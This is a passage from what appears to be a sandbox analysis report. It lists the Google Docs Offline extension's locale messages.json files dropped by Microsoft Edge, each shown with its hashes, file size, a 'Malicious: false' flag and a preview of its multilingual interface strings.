Preview:	{.. "createnew": {.. "message": "NEU ERSTELLEN".. },.. "explanationofflinedisabled": {.. "message": "Sie sind offline. Um Google Docs ohne Internetverbindung zu verwenden, gehen Sie auf der Google Docs-Startseite auf \"Einstellungen\" und schalten die Offlinesynchronisierung ein, wenn Sie das n.chste Mal mit dem Internet verbunden sind.".. },.. "explanationofflineenabled": {.. "message": "Sie sind offline, aber k.nnen weiterhin verf.gbare Dateien bearbeiten oder neue Dateien erstellen.".. },.. "extdesc": {.. "message": "Mit der Erweiterung k.nnen Sie Dokumente, Tabellen und Pr.sentationen bearbeiten, erstellen und aufrufen.. ganz ohne Internetverbindung.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Weitere Informationen".. },.. "popuphelptext": {.. "message": "Mit oder ohne Internetverbindung: Sie k.nnen von .berall Dokumente erstellen, .ndern und zusammen mit anderen

C:\Users\user\AppData\Local\Temp\scoped_dir6836_462055673\CRX_INSTALL\_locales\el\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1613
Entropy (8bit):	4.618182455684241
Encrypted:	false
SSDEEP:	24:1HAJKan4EITDZGoziRAc2Z8eEfkTJfLhGX7b0UBNoAcGpVyhxefSmuq:SKzTD0IK85JlwsGOUyaSk
MD5:	9ABA4337C670C6349BA38FDDC27C2106
SHA1:	1FC33BE9AB4AD99216629BC89FBB30E7AA42B812
SHA-256:	37CA6AB271D6E7C9B00B846FDB969811C9CE7864A85B5714027050795EA24F00
SHA-512:	8564F93AD8485C06034A89421CE74A4E719BBAC865E33A7ED0B87BAA80B7F7E54B240266F2EDB595DF4E6816144428DB8BE18A4252CBDCC1E37B9ECC9F9D7897
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......... ....".. },.. "explanationofflinedisabled": {.. "message": "..... ..... ......... ... .. ............... .. ....... Google ..... ....... ... ........., ......... .... ......... .... ...... ...... ... ........ Google ... ............. ... ........... ..... ........ ... ....... .... ... .. ..... ............ ... ..........".. },.. "explanationofflineenabled": {.. "message": "..... ..... ........ .... ........ .. .............. .. ......... ...... . .. ............. ... .......".. },.. "extdesc": {.. "message": ".............., ............ ... ..... .. ......., .

C:\Users\user\AppData\Local\Temp\scoped_dir6836_462055673\CRX_INSTALL\_locales\en\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6836_462055673\CRX_INSTALL\_locales\en_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6836_462055673\CRX_INSTALL\_locales\en_GB\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	848
Entropy (8bit):	4.494568170878587
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3vRyc1NzXW6iFrSCBxesJGceKCSUuvlvOgwCBhUufz1tnaXrQ:1HA3djfR3NzXviFrJj4sJXJ+bA6RM
MD5:	3734D498FB377CF5E4E2508B8131C0FA
SHA1:	AA23E39BFE526B5E3379DE04E00EACBA89C55ADE
SHA-256:	AB5CDA04013DCE0195E80AF714FBF3A67675283768FFD062CF3CF16EDB49F5D4
SHA-512:	56D9C792954214B0DE56558983F7EB7805AC330AF00E944E734340BE41C68E5DD03EDDB17A63BC2AB99BDD9BE1F2E2DA5BE8BA7C43D938A67151082A9041C7BA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an Internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the Internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create and view your documents, spreadsheets and presentations . all without Internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn more".. },.. "popuphelptext": {.. "message": "Write, edit and collaborate wherever you are, with or without an Internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6836_462055673\CRX_INSTALL\_locales\en_US\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1425
Entropy (8bit):	4.461560329690825
Encrypted:	false
SSDEEP:	24:1HA6Krbbds5Kna/BNzXviFrpsCxKU4irpNQ0+qWK5yOJAaCB7MAa6:BKrbBs5Kna/BNzXvi3sCxKZirA0jWK5m
MD5:	578215FBB8C12CB7E6CD73FBD16EC994
SHA1:	9471D71FA6D82CE1863B74E24237AD4FD9477187
SHA-256:	102B586B197EA7D6EDFEB874B97F95B05D229EA6A92780EA8544C4FF1E6BC5B1
SHA-512:	E698B1A6A6ED6963182F7D25AC12C6DE06C45D14499DDC91E81BDB35474E7EC9071CFEBD869B7D129CB2CD127BC1442C75E408E21EB8E5E6906A607A3982B212
Malicious:	false
Preview:	{.. "createNew": {.. "description": "Text shown in the extension pop up for creating a new document",.. "message": "CREATE NEW".. },.. "explanationOfflineDisabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is disabled.",.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationOfflineEnabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is enabled.",.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extDesc": {.. "description": "Extension description",.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extName": {.. "description": "Extension name",..

C:\Users\user\AppData\Local\Temp\scoped_dir6836_462055673\CRX_INSTALL\_locales\es\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	4.537633413451255
Encrypted:	false
SSDEEP:	12:1HASvggeCBxNFxcw2CVcfamedatqWCCBxeFxCF/m+rWAaFQbCSUuExqIQdO06stp:1HAqn0gcfa9dc/5mCpmIWck02USfWmk
MD5:	F61916A206AC0E971CDCB63B29E580E3
SHA1:	994B8C985DC1E161655D6E553146FB84D0030619
SHA-256:	2008F4FAAB71AB8C76A5D8811AD40102C380B6B929CE0BCE9C378A7CADFC05EB
SHA-512:	D9C63B2F99015355ACA04D74A27FD6B81170750C4B4BE7293390DC81EF4CD920EE9184B05C61DC8979B6C2783528949A4AE7180DBF460A2620DBB0D3FD7A05CF
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a Configuraci.n en la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que te conectes a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n. Aun as., puedes crear archivos o editar los que est.n disponibles.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones; todo ello, sin acceso a Internet.".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe o edita contenido y colabora con otras personas desde cualquier lugar, con o sin conexi.n a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6836_462055673\CRX_INSTALL\_locales\es_419\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	959
Entropy (8bit):	4.570019855018913
Encrypted:	false
SSDEEP:	24:1HARn05cfa9dcDmQOTtSprj0zaGUSjSGZ:+n0CfMcDmQOTQprj4qpC
MD5:	535331F8FB98894877811B14994FEA9D
SHA1:	42475E6AFB6A8AE41E2FC2B9949189EF9BBE09FB
SHA-256:	90A560FF82605DB7EDA26C90331650FF9E42C0B596CEDB79B23598DEC1B4988F
SHA-512:	2CE9C69E901AB5F766E6CFC1E592E1AF5A07AA78D154CCBB7898519A12E6B42A21C5052A86783ABE3E7A05043D4BD41B28960FEDDB30169FF7F7FE7208C8CFE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NUEVO".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a la configuraci.n de la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que est.s conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n, pero a.n puedes modificar los archivos disponibles o crear otros nuevos.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones aunque no tengas acceso a Internet".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, modifica y colabora dondequiera que est.s, con conexi.n a Internet o sin ella.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6836_462055673\CRX_INSTALL\_locales\et\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	968
Entropy (8bit):	4.633956349931516
Encrypted:	false
SSDEEP:	24:1HA5WG6t306+9sihHvMfdJLjUk4NJPNczGr:mWGY0cOUdJODPmzs
MD5:	64204786E7A7C1ED9C241F1C59B81007
SHA1:	586528E87CD670249A44FB9C54B1796E40CDB794
SHA-256:	CC31B877238DA6C1D51D9A6155FDE565727A1956572F466C387B7E41C4923A29
SHA-512:	44FCF93F3FB10A3DB68D74F9453995995AB2D16863EC89779DB451A4D90F19743B8F51095EEC3ECEF5BD0C5C60D1BF3DFB0D64DF288DCCFBE70C129AE350B2C6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LOO UUS".. },.. "explanationofflinedisabled": {.. "message": "Teil ei ole v.rgu.hendust. Teenuse Google.i dokumendid kasutamiseks ilma Interneti-.henduseta avage j.rgmine kord, kui olete Internetiga .hendatud, teenuse Google.i dokumendid avalehel seaded ja l.litage sisse v.rgu.henduseta s.nkroonimine.".. },.. "explanationofflineenabled": {.. "message": "Teil ei ole v.rgu.hendust, kuid saate endiselt saadaolevaid faile muuta v.i uusi luua.".. },.. "extdesc": {.. "message": "Saate luua, muuta ja vaadata oma dokumente, arvustustabeleid ning esitlusi ilma Interneti-.henduseta.".. },.. "extname": {.. "message": "V.rgu.henduseta Google.i dokumendid".. },.. "learnmore": {.. "message": "Lisateave".. },.. "popuphelptext": {.. "message": "Kirjutage, muutke ja tehke koost..d .ksk.ik kus olenemata sellest, kas teil on Interneti-.hendus.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6836_462055673\CRX_INSTALL\_locales\eu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	4.4975520913636595
Encrypted:	false
SSDEEP:	24:YnmjggqTWngosqYQqE1kjO39m7OddC0vjWQMmWgqwgQ8KLcxOb:Ynmsgqyngosq9qxTOs0vjWQMbgqchb
MD5:	29A1DA4ACB4C9D04F080BB101E204E93
SHA1:	2D0E4587DDD4BAC1C90E79A88AF3BD2C140B53B1
SHA-256:	A41670D52423BA69C7A65E7E153E7B9994E8DD0370C584BDA0714BD61C49C578
SHA-512:	B7B7A5A0AA8F6724B0FA15D65F25286D9C66873F03080CBABA037BDEEA6AADC678AC4F083BC52C2DB01BEB1B41A755ED67BBDDB9C0FE4E35A004537A3F7FC458
Malicious:	false
Preview:	{"createnew":{"message":"SORTU"},"explanationofflinedisabled":{"message":"Ez zaude konektatuta Internetera. Google Dokumentuak konexiorik gabe erabiltzeko, joan Google Dokumentuak zerbitzuaren orri nagusiko ezarpenetara eta aktibatu konexiorik gabeko sinkronizazioa Internetera konektatzen zaren hurrengoan."},"explanationofflineenabled":{"message":"Ez zaude konektatuta Internetera, baina erabilgarri dauden fitxategiak edita ditzakezu, baita beste batzuk sortu ere."},"extdesc":{"message":"Editatu, sortu eta ikusi dokumentuak, kalkulu-orriak eta aurkezpenak Interneteko konexiorik gabe."},"extname":{"message":"Google Dokumentuak konexiorik gabe"},"learnmore":{"message":"Lortu informazio gehiago"},"popuphelptext":{"message":"Edonon zaudela ere, ez duzu zertan konektatuta egon idatzi, editatu eta lankidetzan jardun ahal izateko."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir6836_462055673\CRX_INSTALL\_locales\fa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1305
Entropy (8bit):	4.673517697192589
Encrypted:	false
SSDEEP:	24:1HAX9yM7oiI99Rwx4xyQakJbfAEJhmq/RlBu92P7FbNcgYVJ0:JM7ovex4xyQaKjAEyq/p7taX0
MD5:	097F3BA8DE41A0AAF436C783DCFE7EF3
SHA1:	986B8CABD794E08C7AD41F0F35C93E4824AC84DF
SHA-256:	7C4C09D19AC4DA30CC0F7F521825F44C4DFBC19482A127FBFB2B74B3468F48F1
SHA-512:	8114EA7422E3B20AE3F08A3A64A6FFE1517A7579A3243919B8F789EB52C68D6F5A591F7B4D16CEE4BD337FF4DAF4057D81695732E5F7D9E761D04F859359FADB
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ... ....".. },.. "explanationofflinedisabled": {.. "message": "...... ...... .... ....... .. ....... Google .... ..... ........ .... ... .. .. ....... ... ..... .. ....... .. .... .... ....... Google ..... . .......... ...... .. .... .....".. },.. "explanationofflineenabled": {.. "message": "...... ..... ... ...... ......... ......... .. .. .. ..... ..... ...... .... .. ........ ..... ..... .....".. },.. "extdesc": {.. "message": "...... ............ . ........ .. ....... ..... . ...... .... . ... ... ..... .... ...... .. ........".. },.. "extname": {.. "message": "....... Google .

C:\Users\user\AppData\Local\Temp\scoped_dir6836_462055673\CRX_INSTALL\_locales\fi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	911
Entropy (8bit):	4.6294343834070935
Encrypted:	false
SSDEEP:	12:1HASvguCBxNMME2BESA7gPQk36xCBxeMMcXYBt+CSU1pfazCBhUunV1tLaX5GI2N:1HAVioESAsPf36O3Xst/p3J8JeEY
MD5:	B38CBD6C2C5BFAA6EE252D573A0B12A1
SHA1:	2E490D5A4942D2455C3E751F96BD9960F93C4B60
SHA-256:	2D752A5DBE80E34EA9A18C958B4C754F3BC10D63279484E4DF5880B8FD1894D2
SHA-512:	6E65207F4D8212736059CC802C6A7104E71A9CC0935E07BD13D17EC46EA26D10BC87AD923CD84D78781E4F93231A11CB9ED8D3558877B6B0D52C07CB005F1C0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LUO UUSI".. },.. "explanationofflinedisabled": {.. "message": "Olet offline-tilassa. Jos haluat k.ytt.. Google Docsia ilman internetyhteytt., siirry Google Docsin etusivulle ja ota asetuksissa k.ytt..n offline-synkronointi, kun seuraavan kerran olet yhteydess. internetiin.".. },.. "explanationofflineenabled": {.. "message": "Olet offline-tilassa. Voit kuitenkin muokata k.ytett.viss. olevia tiedostoja tai luoda uusia.".. },.. "extdesc": {.. "message": "Muokkaa, luo ja katso dokumentteja, laskentataulukoita ja esityksi. ilman internetyhteytt..".. },.. "extname": {.. "message": "Google Docsin offline-tila".. },.. "learnmore": {.. "message": "Lis.tietoja".. },.. "popuphelptext": {.. "message": "Kirjoita, muokkaa ja tee yhteisty.t. paikasta riippumatta, my.s ilman internetyhteytt..".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6836_462055673\CRX_INSTALL\_locales\fil\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	939
Entropy (8bit):	4.451724169062555
Encrypted:	false
SSDEEP:	24:1HAXbH2eZXn6sjLITdRSJpGL/gWFJ3sqixO:ubHfZqsHIT/FLL3qO
MD5:	FCEA43D62605860FFF41BE26BAD80169
SHA1:	F25C2CE893D65666CC46EA267E3D1AA080A25F5B
SHA-256:	F51EEB7AAF5F2103C1043D520E5A4DE0FA75E4DC375E23A2C2C4AFD4D9293A72
SHA-512:	F66F113A26E5BCF54B9AAFA69DAE3C02C9C59BD5B9A05F829C92AF208C06DC8CCC7A1875CBB7B7CE425899E4BA27BFE8CE2CDAF43A00A1B9F95149E855989EE0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "GUMAWA NG BAGO".. },.. "explanationofflinedisabled": {.. "message": "Naka-offline ka. Upang magamit ang Google Docs nang walang koneksyon sa internet, pumunta sa mga setting sa homepage ng Google Docs at i-on ang offline na pag-sync sa susunod na nakakonekta ka sa internet.".. },.. "explanationofflineenabled": {.. "message": "Naka-offline ka, ngunit maaari mo pa ring i-edit ang mga available na file o gumawa ng mga bago.".. },.. "extdesc": {.. "message": "I-edit, gawin, at tingnan ang iyong mga dokumento, spreadsheet, at presentation . lahat ng ito nang walang access sa internet.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Matuto Pa".. },.. "popuphelptext": {.. "message": "Magsulat, mag-edit at makipag-collaborate nasaan ka man, nang mayroon o walang koneksyon sa internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6836_462055673\CRX_INSTALL\_locales\fr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.622066056638277
Encrypted:	false
SSDEEP:	24:1HAdy42ArMdsH50Jd6Z1PCBolXAJ+GgNHp0X16M1J1:EyfArMS2Jd6Z1PCBolX2+vNmX16Y1
MD5:	A58C0EEBD5DC6BB5D91DAF923BD3A2AA
SHA1:	F169870EEED333363950D0BCD5A46D712231E2AE
SHA-256:	0518287950A8B010FFC8D52554EB82E5D93B6C3571823B7CECA898906C11ABCC
SHA-512:	B04AFD61DE490BC838354E8DC6C22BE5C7AC6E55386FFF78489031ACBE2DBF1EAA2652366F7A1E62CE87CFCCB75576DA3B2645FEA1645B0ECEB38B1FA3A409E8
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour pouvoir utiliser Google.Docs sans connexion Internet, acc.dez aux param.tres de la page d'accueil de Google.Docs et activez la synchronisation hors connexion lors de votre prochaine connexion . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez quand m.me modifier les fichiers disponibles ou cr.er des fichiers.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez des documents, feuilles de calcul et pr.sentations, sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Docs hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": "R.digez des documents, modifiez-les et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6836_462055673\CRX_INSTALL\_locales\fr_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	972
Entropy (8bit):	4.621319511196614
Encrypted:	false
SSDEEP:	24:1HAdyg2pwbv1V8Cd61PC/vT2fg3YHDyM1J1:EyHpwbpd61C/72Y3YOY1
MD5:	6CAC04BDCC09034981B4AB567B00C296
SHA1:	84F4D0E89E30ED7B7ACD7644E4867FFDB346D2A5
SHA-256:	4CAA46656ECC46A420AA98D3307731E84F5AC1A89111D2E808A228C436D83834
SHA-512:	160590B6EC3DCF48F3EA7A5BAA11A8F6FA4131059469623E00AD273606B468B3A6E56D199E97DAA0ECB6C526260EBAE008570223F2822811F441D1C900DC33D6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour utiliser Google.Documents sans connexion Internet, acc.dez aux param.tres sur la page d'accueil Google.Documents et activez la synchronisation hors ligne la prochaine fois que vous .tes connect. . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez toujours modifier les fichiers disponibles ou en cr.er.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez vos documents, vos feuilles de calcul et vos pr.sentations, le tout sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Documents hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": ".crivez, modifiez et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6836_462055673\CRX_INSTALL\_locales\gl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	990
Entropy (8bit):	4.497202347098541
Encrypted:	false
SSDEEP:	12:1HASvggECBxNbWVqMjlMgaPLqXPhTth0CBxebWbMRCSUCjAKFCSIj0tR7tCBhP1l:1HACzWsMlajIhJhHKWbFKFC0tR8oNK5
MD5:	6BAAFEE2F718BEFBC7CD58A04CCC6C92
SHA1:	CE0BDDDA2FA1F0AD222B604C13FF116CBB6D02CF
SHA-256:	0CF098DFE5BBB46FC0132B3CF0C54B06B4D2C8390D847EE2A65D20F9B7480F4C
SHA-512:	3DA23E74CD6CF9C0E2A0C4DBA60301281D362FB0A2A908F39A55ABDCA4CC69AD55638C63CC3BEFD44DC032F9CBB9E2FDC1B4C4ABE292917DF8272BA25B82AF20
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est.s sen conexi.n. Para utilizar Documentos de Google sen conexi.n a Internet, accede .s opci.ns de configuraci.n na p.xina de inicio de Documentos de Google e activa a sincronizaci.n sen conexi.n a pr.xima vez que esteas conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "Est.s sen conexi.n. A.nda podes editar os ficheiros dispo.ibles ou crear outros novos.".. },.. "extdesc": {.. "message": "Modifica, crea e consulta os teus documentos, follas de c.lculo e presentaci.ns sen necesidade de acceder a Internet.".. },.. "extname": {.. "message": "Documentos de Google sen conexi.n".. },.. "learnmore": {.. "message": "M.is informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, edita e colabora esteas onde esteas, tanto se tes conexi.n a Internet como se non a tes.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6836_462055673\CRX_INSTALL\_locales\gu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	4.294833932445159
Encrypted:	false
SSDEEP:	24:1HA3k3FzEVeXWuvLujNzAK11RiqRC2sA0O3cEiZ7dPRFFOPtZdK0A41yG3BczKT3:Q4pE4rCjNjw6/0y+5j8ZHA4PBSKr
MD5:	BC7E1D09028B085B74CB4E04D8A90814
SHA1:	E28B2919F000B41B41209E56B7BF3A4448456CFE
SHA-256:	FE8218DF25DB54E633927C4A1640B1A41B8E6CB3360FA386B5382F833B0B237C
SHA-512:	040A8267D67DB05BBAA52F1FAC3460F58D35C5B73AA76BBF17FA78ACC6D3BFB796A870DD44638F9AC3967E35217578A20D6F0B975CEEEEDBADFC9F65BE7E72C9
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .....".. },.. "explanationofflinedisabled": {.. "message": "... ...... ... ........ ....... ... Google .......... ..... .... ...., ... .... .... ...... ........ .... ...... ... ...... Google ........ ...... .. ........ .. ... ... ...... ....... .... ....".. },.. "explanationofflineenabled": {.. "message": "... ...... .., ..... ... ... .. ...... ..... ....... ... ... .. .... ... ..... ... ...".. },.. "extdesc": {.. "message": "..... ........., ..

C:\Users\user\AppData\Local\Temp\scoped_dir6836_462055673\CRX_INSTALL\_locales\hi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1672
Entropy (8bit):	4.314484457325167
Encrypted:	false
SSDEEP:	48:46G2+ymELbLNzGVx/hXdDtxSRhqv7Qm6/7Lm:4GbxzGVzXdDtx+qzU/7C
MD5:	98A7FC3E2E05AFFFC1CFE4A029F47476
SHA1:	A17E077D6E6BA1D8A90C1F3FAF25D37B0FF5A6AD
SHA-256:	D2D1AFA224CDA388FF1DC8FAC24CDA228D7CE09DE5D375947D7207FA4A6C4F8D
SHA-512:	457E295C760ABFD29FC6BBBB7FC7D4959287BCA7FB0E3E99EB834087D17EED331DEF18138838D35C48C6DDC8A0134AFFFF1A5A24033F9B5607B355D3D48FDF88
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... .....".. },.. "explanationofflinedisabled": {.. "message": ".. ...... .... ....... ....... .. .... Google ........ .. ..... .... .. ..., .... ... ....... .. ...... .... .. Google ........ .. ........ .. ...... ... .... .. ...... ....... .... .....".. },.. "explanationofflineenabled": {.. "message": ".. ...... ..., ..... .. .. .. ...... ...... ..... .. .... ... .. .. ...... ... .... ....".. },.. "extdesc": {.. "message": ".... .... ....... ...... ..

C:\Users\user\AppData\Local\Temp\scoped_dir6836_462055673\CRX_INSTALL\_locales\hr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	4.6369398601609735
Encrypted:	false
SSDEEP:	24:1HA7sR5k/I+UX/hrcySxG1fIZ3tp/S/d6Gpb+D:YsE/I+UX/hVSxQ03f/Sj+D
MD5:	25CDFF9D60C5FC4740A48EF9804BF5C7
SHA1:	4FADECC52FB43AEC084DF9FF86D2D465FBEBCDC0
SHA-256:	73E6E246CEEAB9875625CD4889FBF931F93B7B9DEAA11288AE1A0F8A6E311E76
SHA-512:	EF00B08496427FEB5A6B9FB3FE2E5404525BE7C329D9DD2A417480637FD91885837D134A26980DCF9F61E463E6CB68F09A24402805807E656AF16B116A75E02C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZRADI NOVI".. },.. "explanationofflinedisabled": {.. "message": "Vi ste izvan mre.e. Da biste koristili Google dokumente bez internetske veze, idite na postavke na po.etnoj stranici Google dokumenata i uklju.ite izvanmre.nu sinkronizaciju sljede.i put kada se pove.ete s internetom.".. },.. "explanationofflineenabled": {.. "message": "Vi ste izvan mre.e, no i dalje mo.ete ure.ivati dostupne datoteke i izra.ivati nove.".. },.. "extdesc": {.. "message": "Uredite, izradite i pregledajte dokumente, prora.unske tablice i prezentacije . sve bez pristupa internetu.".. },.. "extname": {.. "message": "Google dokumenti izvanmre.no".. },.. "learnmore": {.. "message": "Saznajte vi.e".. },.. "popuphelptext": {.. "message": "Pi.ite, ure.ujte i sura.ujte gdje god se nalazili, povezani s internetom ili izvanmre.no.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6836_462055673\CRX_INSTALL\_locales\hu\messages.json

